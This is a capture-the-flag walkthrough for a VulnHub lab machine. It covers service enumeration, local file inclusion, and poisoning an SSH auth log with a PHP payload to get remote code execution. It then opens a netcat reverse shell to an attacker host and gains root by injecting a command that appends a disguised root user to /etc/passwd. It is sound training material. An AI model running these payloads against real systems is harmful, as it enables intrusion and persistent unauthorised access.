CTF: https://www.vulnhub.com/entry/the-ether-evilscience-v101,212/​

Enumeration

As usual, getting the IP of the VM:

Scanning for Services and Opened ports:

# nmap -O -sT -sV --top-ports 1000 192.168.1.136

# nmap -sT -sV -p- 192.168.1.136

The UDP scan showed just port 53 opened:

So by now, we know the target is running OpenSSH 7.2p2 (which is vulnerable to username enumeration), and an Apache 2.4.18 server. To enumerate the services further, you could nc to the target on each port. In this case, the ssh service could be enumerated further:

# nc -nv 192.168.1.136 22
(UNKNOWN) [192.168.1.136] 22 (ssh) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

Googling for the package header “4ubuntu2.4” leads us to the following result on launchpad, so that now we know the target is supposedly running an Ubuntu 16.04 Xenial. The apache daemon doesn’t give us any additional information:

# nc -nv 192.168.1.136 80
(UNKNOWN) [192.168.1.136] 80 (http) open
HEAD / HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 02 Feb 2018 10:36:55 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 304
Connection: close
Content-Type: text/html; charset=iso-8859-1

So the next step is to enumerate the target web server and what content is running on it:

The very first thing you would do is view the source code and look for anything interesting. Afterwards, look at the way the links are structured. In this case you would notice that each link points to a filename with .php extension, which means the server may be vulnerable to an LFI. For example, going to the following page: http://192.168.1.136/index.php?file=about.php and swapping the “file” variable with: http://192.168.1.136/index.php?file=/etc/passwd doesn’t give us any feedback or error. The second thing that you would notice is that when you go through each link the content is actually included twice, which means the original content of the index.php file is actually written within the about.php and research.php files. Checking them out directly proves that, by visiting directly the /about.php page:

And the third thing you may want to look is for a robots.txt file exposing any directories which is not present on the server. Reading the text on the “about.php” page brings the attention to the following text:

contact us at wearethebody@theether.com.

Keeping in mind that the target is vulnerable to a username enumeration, consider this is gold. However, unfortunately in this case this wouldn’t bring us any further:

Vulnerability scan

To check for any possible vulnerabilities on target, you should run nikto and nmap at this point:

# nikto -C all -h http://192.168.1.136

# nmap -sT --script vuln -p80 192.168.1.136

The nmap NSE scan didn’t show anything useful and it froze several times so I got sick of it and haven’t included a screenshot. Running dirb and dirbuster both showed nothing interesting. So getting back from the beginning and trying to play with the URI with the hope of finding an LFI again, you could try a local file you could have access to which is actually included (either a .css or a .js file in the template):

So an LFI exists indeed, however currently we have no way of enumerating a file outside the web server directory structure. Common tries for LFI cheatsheets are to check for php wrappers etc. which didnt work in this case. As the target is running apache and an openssh daemon, you could try log contemplating the log files, in case you get the LFI to read them somehow. This can be done either by using an automatic fuzzer like burp suite or owasp zap and fuzz the URI, or try the most common sense manually. I actually happened to find this out manually after reading the following article about how to go From Local File Inclusion to Code Execution from Infosec Institute, however have in mind that in a more complicated scenario you’d have to use an automatic scanner along with a fuzzer list from fuzzdb for example(after reading a few blog posts regarding this CTF I found out that other guys went with either burp or owasp zap with the following list So getting back to my way, in this case the common locations to try are the default /var/log/apache2/access.log and /var/log/auth.log files as explained in the above link. Trying to inject the apache2’s log file into the URI wouldn’t do anything, however if you request the auth.log file you would get redirected to the front index.php page, which is by all means an unusual response. In order to check things further, you could use curl without the option to follow requests (for more common curl commands you can go to my cheatsheet) :

Now that’s something interesting and may result in an attack vector surface.  Now following the above article we could try to inject some php code into the log file, and then (supposedly) when we request it via the web server the php interpreter would execute it and evaluate the php code, then output the result.

$ ssh <? php system($_GET['cmd']);?>@192.168.1.136

And then checking whether this lead to an RCE:

$ curl -is 'http://192.168.1.136/index.php?file=/var/log/auth.log&cmd=ls'

The RCE injection and contaminating the /var/log/auth.log ssh file was successful. From this point it should be an easy task to spawn a persistent shell on the target:

# curl -is 'http://192.168.1.136/index.php?file=/var/log/auth.log&cmd=mknod%20/tmp/backpipe%20p;%20/bin/sh%200</tmp/backpipe%20|%20nc%20<IP>%20443%201>/tmp/backpipe'

 Privilege Escalation

The privilege escalation vector on this box is quite easy. After doing your usual enumeration you’d notice that the www-data user has suid permissions without requiring a password on the xxxlogauditorxxx.py file:

 

So from this point you should have an idea on how to bring this to root. You could either add a new user via /etc/passwd (that’s my usual preference as I consider it a more straight-forward and neater way, although a bit obvious for the real world, but still you could always add a user that seems to be a system user like “systemd-bus” or something like this) or just spawn another shell via the sudo script (consider using another port). So the input you could provide to the xxxlogauditorxxx.py is as following: Run as sudo user:

# sudo /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py

Input:

/var/log/auth.log| echo 'evilsc1ence:$6$YK.U.xZVRm$RnektJOqahuXLZEfA0sl9.lhBeYg83RfTDmHHKKlcccYt6JNeqyIoLrc2.Bw4hAkOjJ5fTJGVQh7x9XiapPTW.:0:0::/root:/bin/bash' >> /etc/passwd

And then here we go:

Getting the flag

The flag resides in the /root directory in a file called flag.png. The actual image looks as following:

At the time I was doing the CTF I got the picture pretty fast as I had some recent experience reading a string encoded into binary data so I just gave it a shot (literally it just flashed in my mind in less than a minute). The way to get the flag is to read the ASCII data encoded into the file either using a hex editor or by any other means you could read ascii text encoded inside a binary file. I prefer using the “strings” application which I consider a more straight-forward way:

# strings /root/flag.png

So this seems like base64 encoded data. To decode it, you could do like so:

# echo "<string>" | base64 -d

The strings and the base64 are common binaries which are included in most distributions so you could go ahead and do this directly on the target. And here it goes as the flag is decoded: